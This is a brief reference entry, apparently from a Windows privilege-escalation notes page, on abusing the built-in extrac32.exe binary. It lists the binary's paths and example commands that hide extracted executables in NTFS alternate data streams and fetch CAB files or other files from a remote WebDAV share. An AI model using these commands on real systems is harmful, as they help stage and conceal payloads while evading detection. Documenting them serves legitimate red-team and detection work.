03 : /Privilege-escalation Windows#

~/ cat Extrac32.exe.md

Paths:

C:\Windows\System32\extrac32.exe
C:\Windows\SysWOW64\extrac32.exe

Detection:

Alternate data streams

Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.

extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe

Download

Copy the source file to the destination file and overwrite it.

extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt

Copy

Command for copying calc.exe to another folder

extrac32.exe /C C:\Windows\System32\calc.exe C:\Users\user\Desktop\calc.exe